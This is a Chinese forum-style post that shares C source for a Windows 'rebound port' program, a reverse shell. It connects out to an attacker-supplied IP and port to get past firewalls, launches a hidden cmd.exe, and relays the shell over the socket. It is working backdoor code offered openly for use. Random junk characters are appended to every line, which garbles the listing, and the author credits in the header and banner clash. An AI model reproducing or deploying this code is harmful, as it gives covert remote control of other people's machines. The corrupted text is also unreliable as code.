这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wMR,r@}
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/* ============================== ddKP3}
Rebound port in Windows NT o"BED!/
By wind,2006/7 NO[A00m|OL
===============================*/ +&VY6(Zj+*
#include m0ra
#include }YdC[b$j^
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#pragma comment(lib,"wsock32.lib") mm+V*L{x
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void OutputShell(); ,P}7e)3
SOCKET sClient; hGV_K" ~I0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +W[f>3`VQ
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void main(int argc,char **argv) 8,IF%Z+LI
{ e16H@
WSADATA stWsaData; t{iRCj
int nRet; k-n`R)p:
SOCKADDR_IN stSaiClient,stSaiServer; -~8PI2
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if(argc != 3) &t8,326;
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printf("Useage:\n\rRebound DestIP DestPort\n"); CUH u=
return; `K+%/|!
} su=MMr>
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WSAStartup(MAKEWORD(2,2),&stWsaData); Nkj$6(N=zJ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #2%V
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stSaiClient.sin_family = AF_INET; h.#:7d(g
stSaiClient.sin_port = htons(0); Cn5"zDK$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RRS)7fFm
{ D`^wj FF
printf("Bind Socket Failed!\n"); M&/4SVBF
return; Q]TZyk
} tKUW
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stSaiServer.sin_family = AF_INET; [Lje?M* r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G?Gf,{#K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +8Q @R)3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wg)Bx#>\L:
{ B/a`5&G]
printf("Connect Error!"); Xykoq"dbb
return; ej_u):G*
} #KoI8U"
OutputShell(); |g}r
} 8*/;W&7y
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void OutputShell() vS~tr sI
{ =dNE1rdzNa
char szBuff[1024]; FNraof @Oy
SECURITY_ATTRIBUTES stSecurityAttributes; kBA.N l7
OSVERSIONINFO stOsversionInfo; SPlt=*C#_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J1O1! .
STARTUPINFO stStartupInfo; ($<&H>j0
char *szShell; &1T)'Bn
PROCESS_INFORMATION stProcessInformation; 3xz~##
unsigned long lBytesRead; W"@'}y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %,vq@..^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F5:xrcyC
stSecurityAttributes.lpSecurityDescriptor = 0; Sd^I>;
stSecurityAttributes.bInheritHandle = TRUE; 2Cy,#X%j>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [!;sp~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t{},Th
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pJe!~eyHm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }X8P5c!\
stStartupInfo.wShowWindow = SW_HIDE; #J/RI[a
stStartupInfo.hStdInput = hReadPipe; Ig!0A}f
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EMe1!)
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GetVersionEx(&stOsversionInfo); G|nBja8vm
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switch(stOsversionInfo.dwPlatformId) 4"eFR'g
{ /PSXuVtu5
case 1: L7<30"7
szShell = "command.com"; `-U?{U}H
break; 6B@e[VtG$
default: Xe&9|M
szShell = "cmd.exe"; %`s#p` Ol1
break; R%n*wGi_6b
} ]XlBV-@b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @0EY5{&
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send(sClient,szMsg,77,0); I@VzH(da\
while(1) 7t<h 'g2
{ khR[8j..
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .53 M!
if(lBytesRead) ) P9]/y
{ 4=^Ha%l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bnL!PsG$K,
send(sClient,szBuff,lBytesRead,0); S)ipkuj X
} w3
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else cX1?4e8
{ .'66]QW
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; TT(R<hL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PJm@fK(j
} a,4GE'
} Zp[>[1@+
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return; go=xx.WJ
}